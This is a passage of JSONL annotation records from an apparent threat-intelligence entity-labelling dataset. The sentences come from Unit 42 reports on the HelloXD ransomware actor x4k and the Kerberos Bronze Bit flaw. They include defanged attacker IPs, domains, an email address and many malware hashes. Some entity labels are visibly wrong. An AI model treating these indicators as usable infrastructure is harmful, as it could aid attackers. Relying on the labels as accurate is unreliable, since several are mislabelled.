3).","entities":[{"id":47140,"label":"EMAIL","start_offset":18,"end_offset":32}],"relations":[],"Comments":[]} +{"id":2052,"text":"Many of these also use the x4k name in the domain.","entities":[{"id":45235,"label":"threat-actor","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} +{"id":2053,"text":" Table 3. PDNS of 164[.]68[.]114[.]29 and 167[.]86[.]87[.]27 When looking at this infrastructure on VirusTotal, we observed that some of the domains we found were part of a VirusTotal graph called a.y.e\/ created by the user x4k on June 30, 2021.","entities":[{"id":6107,"label":"IPV4","start_offset":18,"end_offset":37},{"id":6109,"label":"IPV4","start_offset":42,"end_offset":60},{"id":47141,"label":"SOFTWARE","start_offset":101,"end_offset":111},{"id":47142,"label":"TIME","start_offset":232,"end_offset":245},{"id":47143,"label":"threat-actor","start_offset":225,"end_offset":228},{"id":47144,"label":"SOFTWARE","start_offset":174,"end_offset":184}],"relations":[],"Comments":[]} +{"id":2054,"text":"On this graph, we found his infrastructure mapped out and malicious files that were also linked to the domains.","entities":[],"relations":[],"Comments":[]} +{"id":2055,"text":"This, however, was not the only graph we observed x4k creating.","entities":[{"id":45236,"label":"threat-actor","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} +{"id":2056,"text":"We also encountered additional graphs, mapping different things such as “Russian Hosts,” “DDoS Guard” and others, dating back to August 10, 2020 (Figure 15).","entities":[{"id":47146,"label":"TIME","start_offset":129,"end_offset":144}],"relations":[],"Comments":[]} +{"id":2057,"text":" Additionally, we observed the initial email being linked to a GitHub account (Figure 16), as well as various forums including XSS, a known Russian-speaking hacking forum created to share knowledge about exploits, vulnerabilities, malware and network penetration.","entities":[{"id":47147,"label":"attack-pattern","start_offset":127,"end_offset":130},{"id":47148,"label":"SOFTWARE","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]} +{"id":2058,"text":"From the GitHub page, we also observed a URL to a site – xn--90a5ai[.]com(фсб[.]com) – resolving to the previously mentioned IP 164[.]68[.]114[.]29, which at this point in time only shows an animation of interconnecting points.","entities":[{"id":45239,"label":"DOMAIN","start_offset":74,"end_offset":83},{"id":45240,"label":"IPV4","start_offset":128,"end_offset":147},{"id":45237,"label":"SOFTWARE","start_offset":9,"end_offset":15},{"id":45238,"label":"DOMAIN","start_offset":57,"end_offset":73}],"relations":[{"id":306,"from_id":45238,"to_id":45240,"type":"related-to"},{"id":307,"from_id":45239,"to_id":45240,"type":"related-to"}],"Comments":[]} +{"id":2059,"text":"That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before – x4kme – and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.","entities":[{"id":47152,"label":"identity","start_offset":168,"end_offset":174},{"id":47150,"label":"identity","start_offset":134,"end_offset":139},{"id":47151,"label":"malware","start_offset":202,"end_offset":209}],"relations":[{"id":308,"from_id":47150,"to_id":47152,"type":"duplicate-of"}],"Comments":[]} +{"id":2060,"text":"Figure 17. Snippet of Script in HTML Source Code xn--90a5ai[.]comFrom the list of aliases used by the threat actor","entities":[{"id":47153,"label":"DOMAIN","start_offset":49,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2061,"text":", we were able to observe another GitHub account with the name l4ckyguy, sharing the profile picture, location and URL in the description, with a link to the previously observed account (x4kme), and a name, Ivan Topor, which we believe may be another alias for this threat actor.","entities":[{"id":45241,"label":"SOFTWARE","start_offset":34,"end_offset":40},{"id":45242,"label":"identity","start_offset":63,"end_offset":71},{"id":45243,"label":"threat-actor","start_offset":187,"end_offset":192},{"id":45244,"label":"identity","start_offset":207,"end_offset":218},{"id":6137,"label":"location","start_offset":111,"end_offset":114},{"id":6138,"label":"location","start_offset":195,"end_offset":198},{"id":6140,"label":"location","start_offset":236,"end_offset":239}],"relations":[{"id":93,"from_id":45243,"to_id":45244,"type":"related-to"},{"id":92,"from_id":45243,"to_id":45242,"type":"related-to"}],"Comments":[]} +{"id":2062,"text":"A further account, l4cky-control, was also discovered.","entities":[{"id":47154,"label":"identity","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]} +{"id":2063,"text":"This repository contained a Python script that would decrypt a secondary Python script which reached out to the IP 167[.]86[.]87[.]27 to download and execute another Python script.","entities":[{"id":6141,"label":"IPV4","start_offset":115,"end_offset":133}],"relations":[],"Comments":[]} +{"id":2064,"text":"This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.","entities":[{"id":45245,"label":"threat-actor","start_offset":55,"end_offset":58},{"id":45247,"label":"identity","start_offset":35,"end_offset":42},{"id":45246,"label":"SOFTWARE","start_offset":90,"end_offset":101}],"relations":[{"id":94,"from_id":45245,"to_id":45247,"type":"uses"}],"Comments":[]} +{"id":2065,"text":" We also found a YouTube account linked to the actor through the initial email tebya@poime[.]li, using another alias, Vanya Topor.","entities":[{"id":47156,"label":"identity","start_offset":118,"end_offset":129},{"id":47155,"label":"EMAIL","start_offset":79,"end_offset":95}],"relations":[],"Comments":[]} +{"id":2066,"text":"It’s worth pointing out that “Vanya” is a diminutive for Ivan.","entities":[{"id":47157,"label":"identity","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]} +{"id":2067,"text":" The YouTube account has no public videos, but we observed this threat actor sharing unlisted links in various hacking forums.","entities":[{"id":45248,"label":"SOFTWARE","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2068,"text":"The content of the videos were tutorials and walkthroughs, where the threat actor showed his methodology of performing certain actions, depending on the video.","entities":[],"relations":[],"Comments":[]} +{"id":2069,"text":"The videos had no sound, but the threat actor would type commentary on a terminal to address something the viewer was observing on screen.","entities":[],"relations":[],"Comments":[]} +{"id":2070,"text":" The videos found gave us insight into x4k operations before moving into ransomware activity specifically.","entities":[{"id":45249,"label":"threat-actor","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2071,"text":"We learned how this threat actor leverages Cobalt Strike for his operations, including how to set up Beacons as well as how to send files to compromised systems.","entities":[{"id":47158,"label":"tools","start_offset":43,"end_offset":56}],"relations":[],"Comments":[]} +{"id":2072,"text":"In one of the videos, we actually observed the threat actor performing a DNS leak test on his Android phone.","entities":[],"relations":[],"Comments":[]} +{"id":2073,"text":"We also got to observe how the domain фсб[.]com used to look in October 2020 – a blog of sorts titled “Ghost in the Wire.”","entities":[{"id":45250,"label":"DOMAIN","start_offset":38,"end_offset":47},{"id":45251,"label":"TIME","start_offset":64,"end_offset":76}],"relations":[],"Comments":[]} +{"id":2074,"text":"Where the threat actor keeps alluding to his “Ghost” theme, a similar theme was observed in the HelloXD ransomware samples (Figure 19). ","entities":[{"id":6160,"label":"malware","start_offset":46,"end_offset":51},{"id":6161,"label":"malware","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]} +{"id":2075,"text":"In another video instance, we observed the threat actor submit a LockBit 2.0 sample on Cuckoo sandbox and compare the results with another presumably LockBit 2.0 sample prior to the one submitted in the video.","entities":[{"id":47159,"label":"malware","start_offset":65,"end_offset":76},{"id":47161,"label":"tools","start_offset":87,"end_offset":101},{"id":47160,"label":"malware","start_offset":150,"end_offset":161}],"relations":[],"Comments":[]} +{"id":2076,"text":"At the time of writing, we don’t believe x4k is related to LockBit 2.0 activity, but we did find the choice of this particular ransomware family interesting (Figure 20).","entities":[{"id":45253,"label":"malware","start_offset":59,"end_offset":70},{"id":45252,"label":"threat-actor","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]} +{"id":2077,"text":"We also noticed this threat actor leveraging the use of other sandboxes besides Cuckoo – such as ANY.RUN and Hybrid Analysis – to test out verdicts and tooling, alongside the use of various virtual machines.","entities":[{"id":47164,"label":"tools","start_offset":80,"end_offset":86},{"id":47162,"label":"SOFTWARE","start_offset":97,"end_offset":104},{"id":47163,"label":"SOFTWARE","start_offset":109,"end_offset":124}],"relations":[],"Comments":[]} +{"id":2078,"text":" Additionally, this threat actor not only leverages open-source tooling, but also develops his own tools and scripts.","entities":[],"relations":[],"Comments":[]} +{"id":2079,"text":"We were able to see this threat actor demonstrating some of his tools performing automated actions in his videos, such as obfuscating files, creating executables and code signing (Figure 21).","entities":[],"relations":[],"Comments":[]} +{"id":2080,"text":" Taking a closer look at x4k’s main OS, we believe it to be a customized Kali Linux instance, tailored to his needs.","entities":[{"id":47207,"label":"threat-actor","start_offset":25,"end_offset":29},{"id":47208,"label":"SOFTWARE","start_offset":73,"end_offset":83}],"relations":[],"Comments":[]} +{"id":2081,"text":"Most of his videos, comments, configurations and tutorials are written in Russian – and when combined with knowledge gained from a few OPSEC mistakes – Russia is also where we believe x4k originates from.","entities":[{"id":47209,"label":"threat-actor","start_offset":184,"end_offset":187},{"id":47210,"label":"location","start_offset":152,"end_offset":158}],"relations":[{"id":310,"from_id":47209,"to_id":47210,"type":"located-at"}],"Comments":[]} +{"id":2082,"text":"Additionally, we encountered the ClamAV logo during one of the threat actor walkthrough videos – the same logo used on the HelloXD ransomware samples (Figure 22).","entities":[{"id":45255,"label":"malware","start_offset":123,"end_offset":130},{"id":45254,"label":"SOFTWARE","start_offset":33,"end_offset":39}],"relations":[],"Comments":[]} +{"id":2083,"text":"This time around, x4k is using the logo as the start menu for his OS enviorment.","entities":[{"id":47211,"label":"threat-actor","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2084,"text":"On the same taskbar, we also noticed the Telegram icon, which is a very popular messaging app for chatting – but is also used by threat actors such as LAPSUS$ to post news into specific channels.","entities":[{"id":6199,"label":"threat-actor","start_offset":151,"end_offset":158},{"id":47212,"label":"SOFTWARE","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]} +{"id":2085,"text":"Using his username and alias and pivot, we were able to identify two Telegram accounts sharing the same picture as observed before, and descriptions pointing to the threat actor’s main site фсб[.]com.","entities":[{"id":47213,"label":"DOMAIN","start_offset":190,"end_offset":199},{"id":47214,"label":"SOFTWARE","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]} +{"id":2086,"text":"We noticed that the x4k Telegram account is used actively versus the old account – which, according to Telegram, hasn’t been active in a while (Figure 23).","entities":[{"id":47215,"label":"threat-actor","start_offset":20,"end_offset":23},{"id":47216,"label":"SOFTWARE","start_offset":24,"end_offset":32},{"id":47217,"label":"SOFTWARE","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]} +{"id":2087,"text":" x4k has a very solid online presence, which has enabled us to uncover much of his activity in these last two years.","entities":[{"id":47219,"label":"TIME","start_offset":101,"end_offset":115},{"id":47218,"label":"threat-actor","start_offset":1,"end_offset":4}],"relations":[],"Comments":[]} +{"id":2088,"text":"This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.","entities":[],"relations":[],"Comments":[]} +{"id":2089,"text":"Unit 42 research encountered HelloXD, a ransomware family in its initial stages – but already intending to impact organizations.","entities":[{"id":6214,"label":"identity","start_offset":0,"end_offset":7},{"id":6215,"label":"malware","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]} +{"id":2090,"text":"While the ransomware functionality is nothing new, during our research, following the lines, we found out the ransomware is most likely developed by a threat actor named x4k.","entities":[{"id":47220,"label":"threat-actor","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]} +{"id":2092,"text":"Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.","entities":[{"id":47223,"label":"threat-actor","start_offset":39,"end_offset":42},{"id":47222,"label":"identity","start_offset":0,"end_offset":7},{"id":47224,"label":"TIME","start_offset":170,"end_offset":174}],"relations":[],"Comments":[]} +{"id":2093,"text":" Ransomware is a lucrative operation if done correctly.","entities":[],"relations":[],"Comments":[]} +{"id":2094,"text":"Unit 42 has observed ransom demands and average payments going up in the latest Ransomware Threat Report.","entities":[{"id":47225,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":2095,"text":"Unit 42 believes that x4k, this threat actor, is now expanding into the ransomware business to capitalize on some of the gains other ransomware groups are making.","entities":[{"id":47226,"label":"identity","start_offset":0,"end_offset":7},{"id":47227,"label":"threat-actor","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]} +{"id":2096,"text":" Palo Alto Networks detects and prevents HelloXD and x4k activity in the following ways: If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:","entities":[{"id":47231,"label":"identity","start_offset":181,"end_offset":211},{"id":47228,"label":"identity","start_offset":1,"end_offset":19},{"id":47229,"label":"malware","start_offset":41,"end_offset":48},{"id":47230,"label":"threat-actor","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} +{"id":2097,"text":"Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":45261,"label":"identity","start_offset":115,"end_offset":136},{"id":45260,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]} +{"id":2098,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":47232,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} +{"id":2099,"text":"Learn more about the Cyber Threat Alliance.","entities":[{"id":47233,"label":"identity","start_offset":21,"end_offset":42}],"relations":[],"Comments":[]} +{"id":2100,"text":" 435781ab608ff908123d9f4758132fa45d459956755d27027a52b8c9e61f9589 ebd310cb5f63b364c4ce3ca24db5d654132b87728babae4dc3fb675266148fe9 65ccbd63fbe96ea8830396c575926af476c06352bb88f9c22f90de7bb85366a3 903c04976fa6e6721c596354f383a4d4272c6730b29eee00b0ec599265963e74 7247f33113710e5d9bd036f4c7ac2d847b0bf2ac2769cd8246a10f09d0a41bab 4e9d4afc901fa1766e48327f3c9642c893831af310bc18ccf876d44ea4efbf1d 709b7e8edb6cc65189739921078b54f0646d38358f9a8993c343b97f3493a4d9 0e1aa5bb7cdccacfa8cbfe1aa71137b361bea04252fff52a9274b32d0e23e3aa 1fafe53644e1bb8fbc9d617dd52cd7d0782381a9392bf7bcab4db77edc20b58b 3477b704f6dceb414dad49bf8d950ef55205ffc50d2945b7f65fb2d5f47e4894 3eb1a41c86b3846d33515536c760e98f5cf0a741c682227065cbafea9d350806 4245990f42509474bbc912a02a1e5216c4eb87ea200801e1028291b74e45e43b 4de1279596cf5e0b2601f8b719b5240cb00b70c0d6aa0c11e2f32bc3ded020aa 4ea43678c3f84a66ce93cff50b11aabbe28c99c058e7043f275fea3456f55b88 5ae0d9e7ae61f3afb989aaf8e36eda1816ec44ceae666aea87a9fdc6fed35594 667b8abb731656c83f2f53815be68cce5d1ace3cb4ed242c9fecd4a66ac2f816 78ae3726d5b0815ad2e5a775ecf1a6cd36e1eeeee133b0766158a6b107ef7c34 7da83a27e4d788ca33b8b05d365fdf803cb68e0df4d69942ba9b7bde54619322 8a02f01cc3ac71b2c440148fd51b44e260a953e4fc1ee1c3fe787395b8c712ab 963cacd7eeebfb09950668bf1c6adf5452b992fc09119835cd256c5d3cf17f91 a57b1cfd3e801305856cdb75839de05f03439e264ccdbd1497685878a2605b5a bd111240c24a6a188f2664eb15195630b13aa6d9483fc8cfed339dddf803fd4e d8026801e1b78d9bdcb4954c194748d0fdc631594899b29a2746ae425b8bfc79 d8db562070b06d835721413a98f757b88d59277bf638467fda2ee254afc692a0 d97d666239cc973a38dc788bf017f5d8ae19257561888b61ecff8e086c4e3ea0 19d7e899777fbe432b2c90b992604599706b4109c3ceaa7946e8548f4c190a19 1dbf8ae62cc90c837ba12ceee08a1d989732a95bdcef5ca18151ef698ed98a03 22b32bb7c791842a6aa604d08208b13db07ccd1fe81f47ea8369537addb26c7b 26019b86686c1038326f075663d79803e4412bf9952eae65d7b9278be74ac55c 26cccc7e9155bd746e3bb963d40d6edfc001e6d936faf9392202e3788996105a 43fa55c88453db0de0c22f3eb0b11d1db9286f3ee423e82704fdce506d3af516 4564ca0c436fde9e76f5fa65cbcf483adf1fbfa3d7369b7bb67d2c95457f6bc5 585a22e822ade633cee349fd0a9e6a7d083de250fb56189d5a29d3fc5468680c 592b1e55ceef3b8a1ecb28721ebf2e8edd109b9b492cf3c0c0d30831c7432e00 611f3b0ed65dc98a0d7f5c57512212c6ab0a5de5d6bbf7131d3b7ebf360773c6 6b437208dfb4a7906635e16a5cbb8a1719dc49c51e73b7783202ab018181b616 6e8ececfdc74770885f9dc63b4b2316e8c4a011fd9e382c1ba7c4f09f256925d 99f97a47d8d60b8fa65b4ddaf5f43e4352765a91ab053ceb8a3162084df7d099 9e2524b2eaf5248eed6b2d20ae5144fb3bb543647cf612e5ca52135d16389f1a c15111a5f33b3c51a26f814b64c891791ff21104ee75a4773fef86dfc7a8e7ca cd9908f50c9dd97a2ce22ee57ba3e014e204369e5b75b88cefb270dc44a5ca50 ddc96ac931762065fc085be8138c38f2b6b52095a42b34bc415c9572de17386a e9b832fa02235b95a65ad716342d01ae87fcdb686b448e8462d6e86c1f4b3156 f055577220c7dc4be46510b9fed4ecfa78920025d1b2ac5853b5bf7ea136cf37 f7ae6b5ed444abfceda7217b9158895ed28cfdd946bf3e5c729570a5c29d5d82 b843d7498506ddc272e183bbe90cf73cc4779b37341108e002923aa938ca9169 77dec8fc40ff9332eb6d40ded23d606c88d9fa3785a820ea7b1ef0d12a5c4447 f52fb7ba5061ee4144439ff652c0b4f3cf941fe37fbd66e9d7672dd213fbcdb2 beee37fb9cf3e02121b2169399948c1b0830a626d4ed27a617813fa67dd91d58 b4c11c97d23ea830bd13ad4a05a87be5d8cc55ebdf1e1b458fd68bea71d80b54 f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c c619edb3fa8636c50b59a42d0bdc4c71cbd46a0586b683773e9a5e509f688176 50a479f16713d03b95103e0a95a3d575b7263bd16c334258eefa3ae8f46e3d1d 83b5c6d73f3fc893dbd7effa7c50dc9b2455ec053aa9c51d70e13305ecf21fa4 02894fa01c9b82dcfd93e35f49a0d5408f7f4f8a25f33ad17426bb00afa71f63 98ba86c1273b5e8d68ce90ac1745d16335c5e04ec76e8c58448ae6c91136fc4d 5fa5b5dddfe588791b59c945beba1f57a74bd58b53a09d38ac8a8679a0541f16 164[.]68[.]114[.]29 167[.]86[.]87[.]27 63[.]250[.]53[.]180 45[.]15[.]19[.]130 46[.]39[.]229[.]17 www.zxlab.iol4cky[.]men btc-trazer[.]xyz sandbox[.]x4k[.]me malware[.]x4k[.]me f[.]x4k[.]me 0[.]x4k[.]me pwn[.]x4k[.]me docker[.]x4k[.]me apk[.]x4k[.]me x4k[.]me powershell[.]services vmi378732[.]contaboserver[.]net x4k[.]in L4cky[.]men m[.]x4k[.]me mx2[.]l4cky[.]com mailhost[.]l4cky[.]com www1[.]l4cky[.]com authsmtp[.]l4cky[.]com ns[.]l4cky[.]com mailer[.]l4cky[.]com imap2[.]l4cky[.]com ns2[.]l4cky[.]com server[.]l4cky[.]com auth[.]l4cky[.]com remote[.]l4cky[.]com mx10[.]l4cky[.]com ms1[.]l4cky[.]com mx5[.]l4cky[.]com relay2[.]l4cky[.]com ns1[.]l4cky[.]com email[.]l4cky[.]com imap[.]l4cky[.]com mail[.]x4k[.]me repo[.]x4k[.]me bw[.]x4k[.]me collabora[.]x4k[.]me cloud[.]x4k[.]me yacht[.]x4k[.]me book[.]x4k[.]me teleport[.]x4k[.]me subspace[.]x4k[.]me windows[.]x4k[.]me sf[.]x4k[.]me dc-b00e12923fb6.l4cky[.]men box[.]l4cky[.]men mail[.]l4cky[.]men www[.]l4cky[.]men mta-sts[.]l4cky[.]men ldap[.]l4cky[.]men cloud[.]l4cky[.]men office[.]l4cky[.]men rexdooley[.]ml relay2[.]kuimvd[.]ru ns2[.]webmiting[.]ru https:\/\/фсб[.]com 2022 Unit 42 Ransomware Threat Report Highlights Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":45262,"label":"SHA2","start_offset":1,"end_offset":65},{"id":45264,"label":"SHA2","start_offset":131,"end_offset":195},{"id":45265,"label":"SHA2","start_offset":196,"end_offset":260},{"id":45267,"label":"SHA2","start_offset":326,"end_offset":390},{"id":45268,"label":"SHA2","start_offset":391,"end_offset":455},{"id":45271,"label":"SHA2","start_offset":587,"end_offset":651},{"id":45272,"label":"SHA2","start_offset":652,"end_offset":716},{"id":45278,"label":"SHA2","start_offset":1042,"end_offset":1106},{"id":45294,"label":"SHA2","start_offset":2082,"end_offset":2146},{"id":45325,"label":"IPV4","start_offset":3768,"end_offset":3786},{"id":45263,"label":"SHA2","start_offset":66,"end_offset":130},{"id":45284,"label":"SHA2","start_offset":1432,"end_offset":1496},{"id":45285,"label":"SHA2","start_offset":1497,"end_offset":1561},{"id":45286,"label":"SHA2","start_offset":1562,"end_offset":1626},{"id":45324,"label":"IPV4","start_offset":3748,"end_offset":3767},{"id":45280,"label":"SHA2","start_offset":1172,"end_offset":1236},{"id":45292,"label":"SHA2","start_offset":1952,"end_offset":2016},{"id":45293,"label":"SHA2","start_offset":2017,"end_offset":2081},{"id":45295,"label":"SHA2","start_offset":2147,"end_offset":2211},{"id":45299,"label":"SHA2","start_offset":2407,"end_offset":2471},{"id":45303,"label":"SHA2","start_offset":2602,"end_offset":2666},{"id":45266,"label":"SHA2","start_offset":261,"end_offset":325},{"id":45269,"label":"SHA2","start_offset":457,"end_offset":521},{"id":45270,"label":"SHA2","start_offset":522,"end_offset":586},{"id":45275,"label":"SHA2","start_offset":847,"end_offset":911},{"id":45276,"label":"SHA2","start_offset":912,"end_offset":976},{"id":45277,"label":"SHA2","start_offset":977,"end_offset":1041},{"id":45279,"label":"SHA2","start_offset":1107,"end_offset":1171},{"id":45281,"label":"SHA2","start_offset":1237,"end_offset":1301},{"id":45282,"label":"SHA2","start_offset":1302,"end_offset":1366},{"id":45283,"label":"SHA2","start_offset":1367,"end_offset":1431},{"id":45287,"label":"SHA2","start_offset":1627,"end_offset":1691},{"id":45289,"label":"SHA2","start_offset":1757,"end_offset":1821},{"id":45290,"label":"SHA2","start_offset":1822,"end_offset":1886},{"id":45291,"label":"SHA2","start_offset":1887,"end_offset":1951},{"id":45296,"label":"SHA2","start_offset":2212,"end_offset":2276},{"id":45297,"label":"SHA2","start_offset":2277,"end_offset":2341},{"id":45298,"label":"SHA2","start_offset":2342,"end_offset":2406},{"id":45301,"label":"SHA2","start_offset":2472,"end_offset":2536},{"id":45302,"label":"SHA2","start_offset":2537,"end_offset":2601},{"id":45304,"label":"SHA2","start_offset":2667,"end_offset":2731},{"id":45309,"label":"SHA2","start_offset":2927,"end_offset":2991},{"id":45311,"label":"SHA2","start_offset":3057,"end_offset":3121},{"id":45318,"label":"SHA2","start_offset":3512,"end_offset":3576},{"id":45319,"label":"SHA2","start_offset":3577,"end_offset":3641},{"id":45320,"label":"SHA2","start_offset":3642,"end_offset":3706},{"id":45321,"label":"IPV4","start_offset":3708,"end_offset":3727},{"id":45322,"label":"IPV4","start_offset":3729,"end_offset":3747},{"id":45326,"label":"IPV4","start_offset":3787,"end_offset":3805},{"id":45305,"label":"SHA2","start_offset":2732,"end_offset":2796},{"id":45306,"label":"SHA2","start_offset":2797,"end_offset":2861},{"id":45308,"label":"SHA2","start_offset":2862,"end_offset":2926},{"id":45310,"label":"SHA2","start_offset":2992,"end_offset":3056},{"id":45312,"label":"SHA2","start_offset":3122,"end_offset":3186},{"id":45313,"label":"SHA2","start_offset":3187,"end_offset":3251},{"id":45314,"label":"SHA2","start_offset":3252,"end_offset":3316},{"id":45315,"label":"SHA2","start_offset":3317,"end_offset":3381},{"id":45316,"label":"SHA2","start_offset":3382,"end_offset":3446},{"id":45317,"label":"SHA2","start_offset":3447,"end_offset":3511},{"id":45327,"label":"DOMAIN","start_offset":3806,"end_offset":3829},{"id":45328,"label":"DOMAIN","start_offset":3830,"end_offset":3846},{"id":45329,"label":"DOMAIN","start_offset":3847,"end_offset":3865},{"id":45331,"label":"DOMAIN","start_offset":3885,"end_offset":3897},{"id":45335,"label":"DOMAIN","start_offset":3944,"end_offset":3958},{"id":45343,"label":"DOMAIN","start_offset":4056,"end_offset":4073},{"id":45344,"label":"DOMAIN","start_offset":4074,"end_offset":4096},{"id":45345,"label":"DOMAIN","start_offset":4097,"end_offset":4115},{"id":45346,"label":"DOMAIN","start_offset":4116,"end_offset":4138},{"id":45347,"label":"DOMAIN","start_offset":4139,"end_offset":4155},{"id":45348,"label":"DOMAIN","start_offset":4156,"end_offset":4176},{"id":45349,"label":"DOMAIN","start_offset":4177,"end_offset":4196},{"id":45330,"label":"DOMAIN","start_offset":3866,"end_offset":3884},{"id":45332,"label":"DOMAIN","start_offset":3898,"end_offset":3910},{"id":45333,"label":"DOMAIN","start_offset":3911,"end_offset":3925},{"id":45334,"label":"DOMAIN","start_offset":3926,"end_offset":3943},{"id":45337,"label":"DOMAIN","start_offset":3959,"end_offset":3967},{"id":45340,"label":"DOMAIN","start_offset":3990,"end_offset":4030},{"id":45341,"label":"DOMAIN","start_offset":4031,"end_offset":4042},{"id":45342,"label":"DOMAIN","start_offset":4043,"end_offset":4055},{"id":45367,"label":"DOMAIN","start_offset":4476,"end_offset":4492},{"id":45338,"label":"DOMAIN","start_offset":3968,"end_offset":3989},{"id":45363,"label":"DOMAIN","start_offset":4409,"end_offset":4424},{"id":45365,"label":"DOMAIN","start_offset":4441,"end_offset":4454},{"id":45368,"label":"DOMAIN","start_offset":4493,"end_offset":4509},{"id":45369,"label":"DOMAIN","start_offset":4510,"end_offset":4525},{"id":45371,"label":"DOMAIN","start_offset":4526,"end_offset":4545},{"id":45380,"label":"DOMAIN","start_offset":4682,"end_offset":4703},{"id":45382,"label":"DOMAIN","start_offset":4723,"end_offset":4742},{"id":45383,"label":"DOMAIN","start_offset":4743,"end_offset":4763},{"id":45350,"label":"DOMAIN","start_offset":4197,"end_offset":4214},{"id":45351,"label":"DOMAIN","start_offset":4215,"end_offset":4235},{"id":45352,"label":"DOMAIN","start_offset":4236,"end_offset":4254},{"id":45353,"label":"DOMAIN","start_offset":4255,"end_offset":4275},{"id":45354,"label":"DOMAIN","start_offset":4276,"end_offset":4294},{"id":45355,"label":"DOMAIN","start_offset":4295,"end_offset":4312},{"id":45356,"label":"DOMAIN","start_offset":4313,"end_offset":4330},{"id":45357,"label":"DOMAIN","start_offset":4331,"end_offset":4351},{"id":45360,"label":"DOMAIN","start_offset":4370,"end_offset":4389},{"id":45361,"label":"DOMAIN","start_offset":4390,"end_offset":4408},{"id":45366,"label":"DOMAIN","start_offset":4455,"end_offset":4475},{"id":45372,"label":"DOMAIN","start_offset":4546,"end_offset":4565},{"id":45373,"label":"DOMAIN","start_offset":4566,"end_offset":4584},{"id":45375,"label":"DOMAIN","start_offset":4585,"end_offset":4598},{"id":45376,"label":"DOMAIN","start_offset":4599,"end_offset":4626},{"id":45377,"label":"DOMAIN","start_offset":4627,"end_offset":4644},{"id":45378,"label":"DOMAIN","start_offset":4645,"end_offset":4663},{"id":45379,"label":"DOMAIN","start_offset":4664,"end_offset":4681},{"id":45381,"label":"DOMAIN","start_offset":4704,"end_offset":4722},{"id":45384,"label":"DOMAIN","start_offset":4764,"end_offset":4778},{"id":45358,"label":"DOMAIN","start_offset":4352,"end_offset":4369},{"id":45364,"label":"DOMAIN","start_offset":4425,"end_offset":4440},{"id":45385,"label":"DOMAIN","start_offset":4779,"end_offset":4799},{"id":45386,"label":"DOMAIN","start_offset":4800,"end_offset":4820},{"id":45389,"label":"TIME","start_offset":4840,"end_offset":4844},{"id":6255,"label":"SHA2","start_offset":717,"end_offset":781},{"id":6256,"label":"SHA2","start_offset":782,"end_offset":846},{"id":6270,"label":"SHA2","start_offset":1692,"end_offset":1756},{"id":6306,"label":"URL","start_offset":4821,"end_offset":4838},{"id":6308,"label":"identity","start_offset":4845,"end_offset":4852}],"relations":[],"Comments":[]} +{"id":2101,"text":"Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2102,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2103,"text":"This post is also available in: 日本語 (Japanese) A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.","entities":[{"id":45392,"label":"identity","start_offset":175,"end_offset":184},{"id":45390,"label":"vulnerability","start_offset":117,"end_offset":131},{"id":45393,"label":"SOFTWARE","start_offset":83,"end_offset":91},{"id":45391,"label":"vulnerability","start_offset":140,"end_offset":150}],"relations":[{"id":95,"from_id":45391,"to_id":45390,"type":"duplicate-of"}],"Comments":[]} +{"id":2104,"text":"The vulnerability is in the way that the Key Distribution Center (KDC) handles service tickets and validates whether delegation is allowed.","entities":[],"relations":[],"Comments":[]} +{"id":2105,"text":" In the attack, as detailed in the Palo Alto Networks Security Operations blog, “Protecting Against the Bronze Bit Vulnerability with Cortex XDR,” the attacker tampers with the Kerberos service ticket, which allows the attacker to authenticate to the target as any user, including sensitive accounts and members of the “Protected Users” group.","entities":[{"id":47238,"label":"vulnerability","start_offset":104,"end_offset":128},{"id":47239,"label":"SOFTWARE","start_offset":134,"end_offset":144},{"id":47240,"label":"SOFTWARE","start_offset":177,"end_offset":185},{"id":47237,"label":"identity","start_offset":35,"end_offset":73}],"relations":[],"Comments":[]} +{"id":2106,"text":" The vulnerability was patched by Microsoft, and the patch will be gradually deployed with upcoming Windows updates.","entities":[{"id":45394,"label":"identity","start_offset":34,"end_offset":43},{"id":45395,"label":"SOFTWARE","start_offset":100,"end_offset":107}],"relations":[],"Comments":[]} +{"id":2107,"text":"Microsoft aims to enforce using the patch only on or after May 11, 2021.","entities":[{"id":47242,"label":"identity","start_offset":0,"end_offset":9},{"id":47243,"label":"TIME","start_offset":59,"end_offset":71}],"relations":[],"Comments":[]} +{"id":2108,"text":" Palo Alto Network customers running Cortex XDR version 7.3 with the latest content update are protected from “Pass-the-Ticket” attacks using the standard Windows 